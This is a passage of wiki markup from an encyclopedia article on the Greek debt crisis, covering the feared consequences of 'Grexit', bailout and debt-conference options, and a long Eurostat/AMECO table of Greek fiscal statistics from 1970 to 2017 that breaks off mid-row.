However, the consequences of "Grexit" could be global and severe, including:<ref name="vox.com" /><ref>{{cite web|url=http://www.aei.org/wp-content/uploads/2015/06/Lachman-Testimony-June-2015.pdf|title=AEI-Desmond Lachman-The Global Impact of a Greek Default-Testimony to U.S. Congress-June 25, 2015|work=aei.org}}</ref><ref>[https://www08.wellsfargomedia.com/downloads/pdf/com/insights/economics/international-reports/GreeceontheBrink_06292015.pdf Wells Fargo Economics-Greece on the Brink-June 29,2015] {{wayback|url=https://www08.wellsfargomedia.com/downloads/pdf/com/insights/economics/international-reports/GreeceontheBrink_06292015.pdf |date=20150709225223 |df=y }}</ref><ref>{{cite web|url=http://www.bloombergview.com/articles/2015-07-09/what-greece-can-expect|title=What Greece Can Expect|author=Carmen M. Reinhart|date=9 July 2015|work=BloombergView.com}}</ref>
*Membership in the Eurozone would no longer be perceived as irrevocable. Other countries might be tempted to exit or demand additional debt relief. These countries might see interest rates rise on their bonds, complicating debt service.
*Geopolitical shifts, such as closer relations between Greece and Russia, as the crisis soured relations with Europe.
*Significant financial losses for Eurozone countries and the IMF, which are owed the majority of Greece's roughly $300 billion national debt.
*Adverse impact on the IMF and the credibility of its austerity strategy.
*Loss of Greek access to global capital markets and the collapse of its banking system.

=== Digital currency cards ===
Greece and other states practice [[Fractional-reserve banking|fraction-reserve banking]] in which the amount of bank deposits far exceeds the amount of currency in circulation. [[Digital currency]] cards provide a way to make payments without the need to print/circulate more currency.<ref>{{cite web|url=http://www.pbs.org/newshour/rundown/with-greek-officials-urging-trust-in-banks-is-a-run-even-possible/|title=With Digital Currency, Are Bank Runs Possible Anymore?|work=PBS NewsHour}}</ref>

=== Bailout ===
Greece could accept additional bailout funds and debt relief (i.e., bondholder haircuts or principal reductions) in exchange for greater austerity. However, austerity has damaged the economy, deflating wages, destroying jobs and reducing tax receipts, thus making it even harder to pay its debts. If further austerity were accompanied by enough reduction in the debt balance owed, the cost might be justifiable.<ref name="vox.com" />

=== European debt conference ===
Economist [[Thomas Piketty]] said in July 2015: "We need a conference on all of Europe’s debts, just like after World War II. A restructuring of all debt, not just in Greece but in several European countries, is inevitable." This reflected the difficulties that Spain, Portugal, Italy and Ireland had faced (along with Greece) before ECB-head [[Mario Draghi]] signaled a pivot to looser monetary policy.<ref>{{Cite web|url=https://www.ecb.europa.eu/press/key/date/2012/html/sp120726.en.html|title=Verbatim of the remarks made by Mario Draghi|last=Bank|first=European Central|website=European Central Bank|access-date=2016-05-29}}</ref> Piketty noted that Germany received significant debt relief after World War II. He warned that: "If we start kicking states out, then....Financial markets will immediately turn on the next country."<ref>{{cite web|url=http://thewire.in/2015/07/08/thomas-piketty-germany-has-never-repaid-its-debts-it-has-no-right-to-lecture-greece/|title=Thomas Piketty: ‘Germany Has Never Repaid its Debts. It Has No Right to Lecture Greece’|work=The Wire}}</ref>

== Economic statistics ==
{|class="wikitable" style="clear:both; margin-left:auto; margin-right:auto; text-align:center; border:2px solid; font-size:75%"
|+ <big>Greek government budget balance, GDP growth and debt-to-GDP ratio (1970–2017)</big> Source: Eurostat and European Commission
|- style="border-bottom:2px solid"
! style="text-align:left; background:#ccf"|Greek national account
! style="background:#fcc"|1970
! style="background:#fcc"|1980
! style="background:#fcc"|1990
! style="background:#ccf"|1995
! style="background:#ccf"|1996
! style="background:#ccf"|1997
! style="background:#ccf"|1998
! style="background:#ccf"|1999
! style="background:#ccf"|2000
! style="background:#ccf"|2001a
! style="background:#ccf"|2002
! style="background:#ccf"|2003
! style="background:#ccf"|2004
! style="background:#ccf"|2005
! style="background:#ccf"|2006
! style="background:#ccf"|2007
! style="background:#ccf"|2008
! style="background:#ccf"|2009
! style="background:#ccf"|2010
! style="background:#ccf"|2011
! style="background:#ccf"|2012
! style="background:#ccf"|2013
! style="background:#ccf"|2014
!style="background:#D0F0C0"|2015b
!style="background:#D0F0C0"|2016b
!style="background:#D0F0C0"|2017c
|-
|align="left"|[[Government revenue|Public revenue]]d (% of GDP)<ref name="Public revenue">{{cite web|title=AMECO database results: Total revenue of General Government (% of GDP, ESA 2010) |url=http://ec.europa.eu/economy_finance/ameco/Include/Query.cfm?serie=URTG&trn=1&agg=0&unite=319&ref=0&nomserie=Total+revenue%3A+general+government&lstCntry=%27EU28%27%2C%27EU27%27%2C%27EU15%27%2C%27EA19%27%2C%27EA18%27%2C%27EA12%27%2C%27BEL%27%2C%27BGR%27%2C%27CZE%27%2C%27DNK%27%2C%27DEU%27%2C%27EST%27%2C%27IRL%27%2C%27GRC%27%2C%27ESP%27%2C%27FRA%27%2C%27HRV%27%2C%27ITA%27%2C%27CYP%27%2C%27LVA%27%2C%27LTU%27%2C%27LUX%27%2C%27HUN%27%2C%27MLT%27%2C%27NLD%27%2C%27AUT%27%2C%27POL%27%2C%27PRT%27%2C%27ROM%27%2C%27SVN%27%2C%27SVK%27%2C%27FIN%27%2C%27SWE%27%2C%27GBR%27|work=Automatically updated 3 times per year in February+May+November|publisher=European Commission |date=7 November 2012}}</ref>
| {{NA}}
| {{NA}}
| 31.0d
| 37.0d
| 37.8d
| 39.3d
| 40.9d
| 41.8d
| 43.4d
| 41.3d
| 40.6d
| 39.4d
| 38.4d
| 39.0d
| 38.7
| 40.2
| 40.6
| 38.7
| 41.1
| 43.8
| 45.7
| 47.8
| 45.8
| style="background:#ffc;"| 48.1
| style="background:#ffc;"| 45.8
| style="background:#ffc;"| TBA
|-
|align="left"|[[Government expenditure|Public expenditure]]d (% of GDP)<ref name="Public expenditure">{{cite web|title=AMECO database results: Total expenditure of General Government -calculated by ESA 2010 EDP method (% of GDP) |url=http://ec.europa.eu/economy_finance/ameco/Include/Query.cfm?serie=UUTGE&trn=1&agg=0&unite=319&ref=0&nomserie=Total+expenditure%3A+general+government+%3A-+Excessive+deficit+procedure+%28Including+one-off+proceeds+%28treated+as+negative+expenditure%29+relative+to+the+allocation+of+mobile+phone+licences+%28UMTS%29%29&lstCntry=%27EU28%27%2C%27EU27%27%2C%27EU15%27%2C%27EA19%27%2C%27EA18%27%2C%27EA12%27%2C%27BEL%27%2C%27BGR%27%2C%27CZE%27%2C%27DNK%27%2C%27DEU%27%2C%27EST%27%2C%27IRL%27%2C%27GRC%27%2C%27ESP%27%2C%27FRA%27%2C%27HRV%27%2C%27ITA%27%2C%27CYP%27%2C%27LVA%27%2C%27LTU%27%2C%27LUX%27%2C%27HUN%27%2C%27MLT%27%2C%27NLD%27%2C%27AUT%27%2C%27POL%27%2C%27PRT%27%2C%27ROM%27%2C%27SVN%27%2C%27SVK%27%2C%27FIN%27%2C%27SWE%27%2C%27GBR%27|work=Automatically updated 3 times per year in February+May+November |publisher=European Commission |date=7 November 2012}}</ref>
| {{NA}}
| {{NA}}
| 45.2d
| 46.2d
| 44.5d
| 45.3d
| 44.7d
| 44.8d
| 47.1d
| 45.8d
| 45.5d
| 45.1d
| 46.0d
| 44.4d
| 44.9
| 46.9
| 50.6
| 54.0
| 52.2
| 54.0
| 54.4
| 60.1
| 49.3
| style="background:#ffc;"| 50.2
| style="background:#ffc;"| 47.9
| style="background:#ffc;"| TBA
|- style="border-bottom:2px solid"
|align="left"|'''[[Government budget balance|Budget balance]]d (% of GDP)'''<ref name="Budget balance since 1988" /><ref name="Eurostat data for Budget balance">{{cite web|url=http://appsso.eurostat.ec.europa.eu/nui/show.do?query=BOOKMARK_DS-053864_QID_-1B619087_UID_-3F171EB0&layout=TIME,C,X,0;GEO,L,Y,0;UNIT,L,Z,0;SECTOR,L,Z,1;INDIC_NA,L,Z,2;INDICATORS,C,Z,3;&zSelection=DS-053864INDICATORS,OBS_FLAG;DS-053864SECTOR,S13;DS-053864INDIC_NA,EDP_B9;DS-053864UNIT,PC_GDP;&rankName1=TIME_1_0_0_0&rankName2=SECTOR_1_2_-1_2&rankName3=INDIC-NA_1_2_-1_2&rankName4=INDICATORS_1_2_-1_2&rankName5=UNIT_1_2_-1_2&rankName6=GEO_1_2_0_1&pprRK=FIRST&pprSO=PROTOCOL&ppcRK=FIRST&ppcSO=ASC&sortC=ASC_-1_FIRST&rStp=&cStp=&rDCh=&cDCh=&rDM=true&cDM=true&footnes=false&empty=false&wai=false&time_mode=ROLLING&lang=EN&cfo=%23%23%23%2C%23%23%23.%23%23%23|title=Government deficit/surplus|publisher=Eurostat|date=22 October 2012|accessdate=22 October 2012}}</ref>
| {{NA}}
| {{NA}}
| '''-14.2d'''
| '''-9.1d'''
| '''-6.7d'''
| '''-5.9d'''
| '''-3.9d'''
| '''-3.1d'''
| '''-3.7d'''
| '''-4.5d'''
| '''-4.9d'''
| '''-5.7d'''
| '''-7.6d'''
| '''-5.5d'''
| '''-6.1'''
| '''-6.7'''
| '''-9.9'''
| '''-15.3'''
| '''-11.1'''
| '''-10.2'''
| '''-8.7'''
| '''-12.3'''
| '''-3.5'''
| style="background:#ffc;"| '''-2.1'''
| style="background:#ffc;"| '''-2.2'''
| style="background:#ffc;"| '''TBA'''
|-style="border-bottom:2px solid"
|align="left"|'''[[Structural and cyclical deficit|Structural balance]]e (% of GDP)'''<ref name="Structural balance ESA2010 – per extract by AMECO database">{{cite web|url=http://ec.europa.eu/economy_finance/ameco/Include/Query.cfm?serie=UBLGAPS&trn=1&agg=0&unite=319&ref=0&nomserie=Structural+balance+of+general+government+%3A-+Adjustment+based+on+potential+GDP+Excessive+deficit+procedure&lstCntry=%27EU28%27%2C%27EU27%27%2C%27EU15%27%2C%27EA19%27%2C%27EA18%27%2C%27EA12%27%2C%27BEL%27%2C%27BGR%27%2C%27CZE%27%2C%27DNK%27%2C%27DEU%27%2C%27EST%27%2C%27IRL%27%2C%27GRC%27%2C%27ESP%27%2C%27FRA%27%2C%27HRV%27%2C%27ITA%27%2C%27CYP%27%2C%27LVA%27%2C%27LTU%27%2C%27LUX%27%2C%27HUN%27%2C%27MLT%27%2C%27NLD%27%2C%27AUT%27%2C%27POL%27%2C%27PRT%27%2C%27ROM%27%2C%27SVN%27%2C%27SVK%27%2C%27FIN%27%2C%27SWE%27%2C%27GBR%27|title=AMECO database: Structural balance of general government – Adjustment based on potential GDP (Excessive deficit procedure, ESA 2010)|publisher=European Commission|work=Automatically updated 3 times per year in February+May+November|accessdate=3 May 2013}}</ref>
| {{NA}}
| {{NA}}
| '''−14.9f'''
| '''−9.4g'''
| '''−6.9g'''
| '''−6.3g'''
| '''−4.4g'''
| '''−3.6g'''
| '''−4.2g'''
| '''−4.9g'''
| '''−4.5g'''
| '''−5.7h'''
| '''−7.7h'''
| '''−5.2h'''
| '''−7.4h'''
| '''−7.8h'''
| '''−9.7h'''
| '''−14.7h'''
| '''−9.8'''
| '''−6.3'''
| '''-0.6'''
| '''2.2'''
| '''0.4'''
| style="background:#ffc"| '''-1.4'''
| style="background:#ffc"| '''-2.3'''
| style="background:#ffc"| '''TBA'''
|-
|align="left"|[[Nominal GDP]] growth (%)<ref name="Nominal GDP at current marketprices" />
| 13.1
| 20.1
| 20.7
| 12.1
| 10.8
| 10.9
| 9.5
| 6.8
| 5.6
| 7.2
| 6.8
| 10.0
| 8.1
| 3.2
| 9.4
| 6.9
| 4.0
| −1.9
| −4.7
| −8.2
| −6.5
| −6.1
| −1.8
| style="background:#ffc;"| -0.7
| style="background:#ffc;"| 3.6
| style="background:#ffc;"| TBA
|-
|align="left"|[[GDP deflator|GDP price deflator]]i (%)<ref name="GDP deflator">{{cite web|title=AMECO database results: Price deflator – gross domestic product at market prices in national currency (index development)|url=http://ec.europa.eu/economy_finance/ameco/Include/Query.cfm?serie=PVGD&trn=3&agg=1&unite=0&ref=0&nomserie=Price+deflator+gross+domestic+product+at+market+prices&lstCntry=%27EU28%27%2C%27EU27%27%2C%27EU15%27%2C%27EA19%27%2C%27EA18%27%2C%27EA12%27%2C%27BEL%27%2C%27BGR%27%2C%27CZE%27%2C%27DNK%27%2C%27DEU%27%2C%27EST%27%2C%27IRL%27%2C%27GRC%27%2C%27ESP%27%2C%27FRA%27%2C%27HRV%27%2C%27ITA%27%2C%27CYP%27%2C%27LVA%27%2C%27LTU%27%2C%27LUX%27%2C%27HUN%27%2C%27MLT%27%2C%27NLD%27%2C%27AUT%27%2C%27POL%27%2C%27PRT%27%2C%27ROM%27%2C%27SVN%27%2C%27SVK%27%2C%27FIN%27%2C%27SWE%27%2C%27GBR%27|work=Automatically updated 3 times per year in February+May+November |publisher=European Commission |date=7 November 2012}}</ref>
| 3.8
| 19.3
| 20.7
| 9.8
| 7.7
| 6.2
| 5.2
| 3.6
| 1.6
| 3.4
| 3.5
| 3.2
| 3.0
| 2.3
| 3.4
| 3.2
| 4.4
| 2.6
| 0.8
| 0.8
| 0.1
| −2.3
| −2.6
| style="background:#ffc;"| -1.2
| style="background:#ffc;"| 0.7
| style="background:#ffc;"| TBA
|- style="border-bottom:2px solid"
|align="left"|'''[[Real gross domestic product|Real GDP growth]]j (%)'''<ref name="Real GDP at constant marketprices">{{cite web|title=AMECO database results: Real GDP at constant marketprices in National Currency|url=http://ec.europa.eu/economy_finance/ameco/Include/Query.cfm?serie=OVGD&trn=1&agg=1&unite=0&ref=0&nomserie=Gross+domestic+product+at+2010+market+prices&lstCntry=%27EU28%27%2C%27EU27%27%2C%27EU15%27%2C%27EA19%27%2C%27EA18%27%2C%27EA12%27%2C%27BEL%27%2C%27BGR%27%2C%27CZE%27%2C%27DNK%27%2C%27DEU%27%2C%27EST%27%2C%27IRL%27%2C%27GRC%27%2C%27ESP%27%2C%27FRA%27%2C%27HRV%27%2C%27ITA%27%2C%27CYP%27%2C%27LVA%27%2C%27LTU%27%2C%27LUX%27%2C%27HUN%27%2C%27MLT%27%2C%27NLD%27%2C%27AUT%27%2C%27POL%27%2C%27PRT%27%2C%27ROM%27%2C%27SVN%27%2C%27SVK%27%2C%27FIN%27%2C%27SWE%27%2C%27GBR%27|work=Automatically updated 3 times per year in February+May+November |publisher=European Commission |accessdate=7 November 2012}}</ref><ref name="Eurostat GDP growth">{{cite web|title=Real GDP growth rate – volume: Percentage change on previous year |url=http://epp.eurostat.ec.europa.eu/tgm/table.do?tab=table&init=1&plugin=1&language=en&pcode=tec00115 |publisher=Eurostat |accessdate= 31 July 2012}}</ref>
| '''8.9'''
| '''0.7'''
| '''0.0'''
| '''2.1'''
| '''3.0'''
| '''4.5'''
| '''4.1'''
| '''3.1'''
| '''4.0'''
| '''3.7'''
| '''3.2'''
| '''6.6'''
| '''5.0'''
| '''0.9'''
| '''5.8'''
| '''3.5'''
| '''−0.4'''
| '''−4.4'''
| '''−5.4'''
| '''−8.9'''
| '''−6.6'''
| '''−3.9'''
| '''0.8'''
| style="background:#ffc;"| '''0.5'''
| style="background:#ffc;"| '''2.9'''
| style="background:#ffc;"| '''TBA'''
|-
|align="left"|[[Government debt|Public debt]]k (billion €)<ref name="Debt in national currency">{{cite web|title=AMECO database results: General government consolidated gross debt (billion €, ESA 2010)|url=http://ec.europa.eu/economy_finance/ameco/Include/Query.cfm?serie=UDGGL&trn=1&agg=0&unite=0&ref=0&nomserie=General+government+consolidated+gross+debt+%3A-+Excessive+deficit+procedure+%28based+on+ESA+2010%29+and+former+definition+%28linked+series%29&lstCntry=%27EU28%27%2C%27EU27%27%2C%27EU15%27%2C%27EA19%27%2C%27EA18%27%2C%27EA12%27%2C%27BEL%27%2C%27BGR%27%2C%27CZE%27%2C%27DNK%27%2C%27DEU%27%2C%27EST%27%2C%27IRL%27%2C%27GRC%27%2C%27ESP%27%2C%27FRA%27%2C%27HRV%27%2C%27ITA%27%2C%27CYP%27%2C%27LVA%27%2C%27LTU%27%2C%27LUX%27%2C%27HUN%27%2C%27MLT%27%2C%27NLD%27%2C%27AUT%27%2C%27POL%27%2C%27PRT%27%2C%27ROM%27%2C%27SVN%27%2C%27SVK%27%2C%27FIN%27%2C%27SWE%27%2C%27GBR%27|work=Automatically updated 3 times per year in February+May+November |publisher=European Commission |date=7 November 2012}}</ref><ref name="Eurostat data for Government debt in million of National Currency">{{cite web|url=http://appsso.eurostat.ec.europa.eu/nui/show.do?query=BOOKMARK_DS-053864_QID_-72DB4332_UID_-3F171EB0&layout=TIME,C,X,0;GEO,L,Y,0;UNIT,L,Z,0;SECTOR,L,Z,1;INDIC_NA,L,Z,2;INDICATORS,C,Z,3;&zSelection=DS-053864INDICATORS,OBS_FLAG;DS-053864SECTOR,S13;DS-053864INDIC_NA,GD;DS-053864UNIT,MIO_NAC;&rankName1=SECTOR_1_2_-1_2&rankName2=INDIC-NA_1_2_-1_2&rankName3=INDICATORS_1_2_-1_2&rankName4=UNIT_1_2_-1_2&rankName5=TIME_1_0_0_0&rankName6=GEO_1_2_0_1&pprRK=FIRST&pprSO=PROTOCOL&ppcRK=FIRST&ppcSO=ASC&sortC=ASC_-1_FIRST&rStp=&cStp=&rDCh=&cDCh=&rDM=true&cDM=true&footnes=false&empty=false&wai=false&time_mode=ROLLING&lang=EN&cfo=%23%23%23%2C%23%23%23.%23%23%23|title=Government consolidated gross debt (millions of National Currency)|publisher=Eurostat|date=22 October 2012|accessdate=22 October 2012}}</ref>
| 0.2
| 1.5
| 31.2
| 87.0
| 98.0
| 105.4
| 112.1
| 118.8
| 141.2
| 152.1
| 159.5
| 168.3
| 183.5
| 212.8
| 225.3
| 240.0
| 264.6
| 301.0
| 330.3
| 356.0
| 304.7
| 319.2
| 317.1
| style="background:#ffc;"| 320.4
| style="background:#ffc;"| 319.6
| style="background:#ffc;"| TBA
|-
|align="left"|[[Nominal GDP]]k (billion €)<ref name="Nominal GDP at current marketprices">{{cite web|title=AMECO database results: Nominal GDP at current marketprices in National Currency|url=http://ec.europa.eu/economy_finance/ameco/Include/Query.cfm?serie=UVGD&trn=1&agg=0&unite=0&ref=0&nomserie=Gross+domestic+product+at+current+market+prices&lstCntry=%27EU28%27%2C%27EU27%27%2C%27EU15%27%2C%27EA19%27%2C%27EA18%27%2C%27EA12%27%2C%27BEL%27%2C%27BGR%27%2C%27CZE%27%2C%27DNK%27%2C%27DEU%27%2C%27EST%27%2C%27IRL%27%2C%27GRC%27%2C%27ESP%27%2C%27FRA%27%2C%27HRV%27%2C%27ITA%27%2C%27CYP%27%2C%27LVA%27%2C%27LTU%27%2C%27LUX%27%2C%27HUN%27%2C%27MLT%27%2C%27NLD%27%2C%27AUT%27%2C%27POL%27%2C%27PRT%27%2C%27ROM%27%2C%27SVN%27%2C%27SVK%27%2C%27FIN%27%2C%27SWE%27%2C%27GBR%27|work=Automatically updated 3 times per year in February+May+November |publisher=European Commission |date=7 November 2012}}</ref><ref name="Eurostat data for GDP">{{cite web|url=http://appsso.eurostat.ec.europa.eu/nui/show.do?query=BOOKMARK_DS-053864_QID_59C88D83_UID_-3F171EB0&layout=TIME,C,X,0;GEO,L,Y,0;UNIT,L,Z,0;SECTOR,L,Z,1;INDIC_NA,L,Z,2;INDICATORS,C,Z,3;&zSelection=DS-053864INDICATORS,OBS_FLAG;DS-053864SECTOR,S1;DS-053864INDIC_NA,B1GM;DS-053864UNIT,MIO_NAC;&rankName1=SECTOR_1_2_-1_2&rankName2=INDIC-NA_1_2_-1_2&rankName3=INDICATORS_1_2_-1_2&rankName4=UNIT_1_2_-1_2&rankName5=TIME_1_0_0_0&rankName6=GEO_1_2_0_1&pprRK=FIRST&pprSO=PROTOCOL&ppcRK=FIRST&ppcSO=ASC&sortC=ASC_-1_FIRST&rStp=&cStp=&rDCh=&cDCh=&rDM=true&cDM=true&footnes=false&empty=false&wai=false&time_mode=ROLLING&lang=EN&cfo=%23%23%23%2C%23%23%23.%23%23%23|title=GDP at market prices (millions of National Currency)|publisher=Eurostat|date=22 October 2012|accessdate=22 October 2012}}</ref>
| 1.2
| 7.1
| 45.7
| 93.4
| 103.5
| 114.8
| 125.7
| 134.2
| 141.7
| 152.0
| 162.3
| 178.6
| 193.0
| 199.2
| 217.8
| 232.8
| 242.1
| 237.4
| 226.2
| 207.8
| 194.2
| 182.4
| 179.1
| style="background:#ffc;"| 177.8
| style="background:#ffc;"| 184.3
| style="background:#ffc;"| TBA
|-
|align="left" style="border-bottom:0"|'''[[Debt-to-GDP ratio]] (%)'''<ref name="Debt-to-GDP ratio">{{cite web|title=AMECO database results: General government consolidated gross debt (debt-to-GDP ratio, ESA 2010)|url=http://ec.europa.eu/economy_finance/ameco/Include/Query.cfm?serie=UDGGL&trn=1&agg=0&unite=319&ref=0&nomserie=General+government+consolidated+gross+debt+%3A-+Excessive+deficit+procedure+%28based+on+ESA+2010%29+and+former+definition+%28linked+series%29&lstCntry=%27EU28%27%2C%27EU27%27%2C%27EU15%27%2C%27EA19%27%2C%27EA18%27%2C%27EA12%27%2C%27BEL%27%2C%27BGR%27%2C%27CZE%27%2C%27DNK%27%2C%27DEU%27%2C%27EST%27%2C%27IRL%27%2C%27GRC%27%2C%27ESP%27%2C%27FRA%27%2C%27HRV%27%2C%27ITA%27%2C%27CYP%27%2C%27LVA%27%2C%27LTU%27%2C%27LUX%27%2C%27HUN%27%2C%27MLT%27%2C%27NLD%27%2C%27AUT%27%2C%27POL%27%2C%27PRT%27%2C%27ROM%27%2C%27SVN%27%2C%27SVK%27%2C%27FIN%27%2C%27SWE%27%2C%27GBR%27|work=Automatically updated 3 times per year in February+May+November |publisher=European Commission |date=7 November 2012}}</ref><ref name="Eurostat data for debt-to-GDP ratio">{{cite web|url=http://appsso.eurostat.ec.europa.eu/nui/show.do?query=BOOKMARK_DS-053864_QID_496DCBD3_UID_-3F171EB0&layout=TIME,C,X,0;GEO,L,Y,0;UNIT,L,Z,0;SECTOR,L,Z,1;INDIC_NA,L,Z,2;INDICATORS,C,Z,3;&zSelection=DS-053864INDICATORS,OBS_FLAG;DS-053864SECTOR,S13;DS-053864INDIC_NA,GD;DS-053864UNIT,PC_GDP;&rankName1=SECTOR_1_2_-1_2&rankName2=INDIC-NA_1_2_-1_2&rankName3=INDICATORS_1_2_-1_2&rankName4=UNIT_1_2_-1_2&rankName5=TIME_1_0_0_0&rankName6=GEO_1_2_0_1&pprRK=FIRST&pprSO=PROTOCOL&ppcRK=FIRST&ppcSO=ASC&sortC=ASC_-1_FIRST&rStp=&cStp=&rDCh=&cDCh=&rDM=true&cDM=true&footnes=false&empty=false&wai=false&time_mode=ROLLING&lang=EN&cfo=%23%23%23%2C%23%23%23.%23%23%23|title=Government debt-to-GDP ratio|publisher=Eurostat|date=22 October 2012|accessdate=22 October 2012}}</ref>
|style="border-bottom:0"| '''17.2'''
|style="border-bottom:0"| '''21.0'''
|style="border-bottom:0"| '''68.3'''
|style="border-bottom:0"| '''93.1'''
|style="border-bottom:0"| '''94.7'''
|style="border-bottom:0"| '''91.8'''
|style="border-bottom:0"| '''89.2'''
|style="border-bottom:0"| '''88.5'''
|style="border-bottom:0"| '''99.6'''
|style="border-bottom:0"| '''100.1'''
|style="border-bottom:0"| '''98.3'''
|style="border-bottom:0"| '''94.2'''
|style="border-bottom:0"| '''95.1'''
|style="border-bottom:0"| '''106.9'''
|style="border-bottom:0"| '''103.4'''
|style="border-bottom:0"| '''103.1'''
|style="border-bottom:0"| '''109.3'''
|style="border-bottom:0"| '''126.8'''
|style="border-bottom:0"| '''146.0'''
|style="border-bottom:0"| '''171.4'''
|style="border-bottom:0"| '''156.9'''
|style="border-bottom:0"| '''175.0'''
|style="border-bottom:0"| '''177.1'''
|style="border-bottom:0; background:#ffc"| '''180.2'''
|style="border-bottom:0; background:#ffc"| '''173.4'''
|style="border-bottom:0; background:#ffc"| '''TBA'''
|-
|align="left" style="border-top:0; border-bottom:0"|- Impact of Nominal GDP growth (%)<ref name="Debt-to-GDP changes due to Budget balance + Nominal GDP Growth + Stock-flow adjustment">{{cite web|title=General Government Data autumn 2014: Revenue, Expenditure, Balances and Gross debt (Part 1: Tables by country)|url=http://ec.europa.eu/economy_finance/db_indicators/gen_gov_data/documents/2014/autumn2014_country_en.pdf|format=PDF|publisher=European Commission | date=4 November 2014 |accessdate=20 November 2014}}</ref><ref name="Impact of nominal GDP growth on debt-to-GDP ratio">{{cite web|title=AMECO database results: Impact of nominal GDP growth on debt-to-GDP ratio|url=http://ec.europa.eu/economy_finance/ameco/Include/Query.cfm?serie=ADGGU&trn=1&agg=0&unite=0&ref=0&nomserie=Impact+of+the+nominal+increase+of+GDP+on+general+government+consolidated+gross+debt+%3A-+Excessive+deficit+procedure+%28based+on+ESA+2010%29&lstCntry=%27EU28%27%2C%27EU27%27%2C%27EU15%27%2C%27EA19%27%2C%27EA18%27%2C%27EA12%27%2C%27BEL%27%2C%27BGR%27%2C%27CZE%27%2C%27DNK%27%2C%27DEU%27%2C%27EST%27%2C%27IRL%27%2C%27GRC%27%2C%27ESP%27%2C%27FRA%27%2C%27HRV%27%2C%27ITA%27%2C%27CYP%27%2C%27LVA%27%2C%27LTU%27%2C%27LUX%27%2C%27HUN%27%2C%27MLT%27%2C%27NLD%27%2C%27AUT%27%2C%27POL%27%2C%27PRT%27%2C%27ROM%27%2C%27SVN%27%2C%27SVK%27%2C%27FIN%27%2C%27SWE%27%2C%27GBR%27|work=Automatically updated 3 times per year in February+May+November|publisher=European Commission |date=7 November 2012}}</ref>
|style="border-top:0; border-bottom:0"| −2.3
|style="border-top:0; border-bottom:0"| −3.7
|style="border-top:0; border-bottom:0"| −10.6
|style="border-top:0; border-bottom:0"| −10.0
|style="border-top:0; border-bottom:0"| −9.1
|style="border-top:0; border-bottom:0"| −9.3
|style="border-top:0; border-bottom:0"| −7.9
|style="border-top:0; border-bottom:0"| −5.7
|style="border-top:0; border-bottom:0"| −4.7
|style="border-top:0; border-bottom:0"| −6.7
|style="border-top:0; border-bottom:0"| −6.3
|style="border-top:0; border-bottom:0"| −9.0
|style="border-top:0; border-bottom:0"| −7.1
|style="border-top:0; border-bottom:0"| −2.9
|style="border-top:0; border-bottom:0"| −9.2
|style="border-top:0; border-bottom:0"| −6.7
|style="border-top:0; border-bottom:0"| −3.9
|style="border-top:0; border-bottom:0"| 2.1
|style="border-top:0; border-bottom:0"| 6.3
|style="border-top:0; border-bottom:0"| 13.0
|style="border-top:0; border-bottom:0"| 12.0
|style="border-top:0; border-bottom:0"| 10.1
|style="border-top:0; border-bottom:0"| 3.3
|style="border-top:0; border-bottom:0; background:#ffc"| 1.3
|style="border-top:0; border-bottom:0; background:#ffc"| −6.3
|style="border-top:0; border-bottom:0; background:#ffc"| TBA
|-
|align="left" style="border-top:0; border-bottom:0"|- Stock-flow adjustment (%)<ref name="Nominal GDP at current marketprices" /><ref name="Debt-to-GDP changes due to Budget balance + Nominal GDP Growth + Stock-flow adjustment" /><ref name="Stock-flow adjustment in National Currency">{{cite web|title=AMECO database results: Stock-flow adjustment in National Currency|url=http://ec.europa.eu/economy_finance/ameco/Include/Query.cfm?serie=UDGGS&trn=1&agg=0&unite=0&ref=0&nomserie=Stock-flow+adjustment+on+general+government+consolidated+gross+debt+%3A-+Excessive+deficit+procedure+%28based+on+ESA+2010%29&lstCntry=%27EU28%27%2C%27EU27%27%2C%27EU15%27%2C%27EA19%27%2C%27EA18%27%2C%27EA12%27%2C%27BEL%27%2C%27BGR%27%2C%27CZE%27%2C%27DNK%27%2C%27DEU%27%2C%27EST%27%2C%27IRL%27%2C%27GRC%27%2C%27ESP%27%2C%27FRA%27%2C%27HRV%27%2C%27ITA%27%2C%27CYP%27%2C%27LVA%27%2C%27LTU%27%2C%27LUX%27%2C%27HUN%27%2C%27MLT%27%2C%27NLD%27%2C%27AUT%27%2C%27POL%27%2C%27PRT%27%2C%27ROM%27%2C%27SVN%27%2C%27SVK%27%2C%27FIN%27%2C%27SWE%27%2C%27GBR%27|work=Automatically updated 3 times per year in February+May+November|publisher=European Commission |date=7 November 2012}}</ref>
|style="border-top:0; border-bottom:0"| N/A
|style="border-top:0; border-bottom:0"| N/A
|style="border-top:0; border-bottom:0"| 2.9
|style="border-top:0; border-bottom:0"| 1.5
|style="border-top:0; border-bottom:0"| 3.9
|style="border-top:0; border-bottom:0"| 0.5
|style="border-top:0; border-bottom:0"| 1.4
|style="border-top:0; border-bottom:0"| 1.9
|style="border-top:0; border-bottom:0"| 12.1
|style="border-top:0; border-bottom:0"| 2.7
|style="border-top:0; border-bottom:0"| −0.3
|style="border-top:0; border-bottom:0"| −0.8
|style="border-top:0; border-bottom:0"| 0.3
|style="border-top:0; border-bottom:0"| 9.2
|style="border-top:0; border-bottom:0"| −0.4
|style="border-top:0; border-bottom:0"| −0.4
|style="border-top:0; border-bottom:0"| 0.3
|style="border-top:0; border-bottom:0"| 0.0
|style="border-top:0; border-bottom:0"| 1.9
|style="border-top:0; border-bottom:0"| 2.1
|style="border-top:0; border-bottom:0"| −35.1
|style="border-top:0; border-bottom:0"| −4.4
|style="border-top:0; border-bottom:0"| −4.7
|style="border-top:0; border-bottom:0; background:#ffc"| −0.2
|style="border-top:0; border-bottom:0; background:#ffc"| −2.6
|style="border-top:0; border-bottom:0; background:#ffc"| TBA
|-
|align="left" style="border-top:0; border-bottom:0"|- Impact of budget balance (%)<ref name="Budget balance since 1988" /><ref name="Eurostat data for Budget balance" />
|style="border-top:0; border-bottom:0"| N/A
|style="border-top:0; border-bottom:0"| N/A
|style="border-top:0; border-bottom:0"| 14.2
|style="border-top:0; border-bottom:0"| 9.1
|style="border-top:0; border-bottom:0"| 6.7
|style="border-top:0; border-bottom:0"| 5.9
|style="border-top:0; border-bottom:0"| 3.9
|style="border-top:0; border-bottom:0"| 3.1
|style="border-top:0; border-bottom:0"| 3.7
|style="border-top:0; border-bottom:0"| 4.5
|style="border-top:0; border-bottom:0"| 4.9
|style="border-top:0; border-bottom:0"| 5.7
|style="border-top:0; border-bottom:0"| 7.6
|style="border-top:0; border-bottom:0"| 5.5
|style="border-top:0; border-bottom:0"| 6.1
|style="border-top:0; border-bottom:0"| 6.7
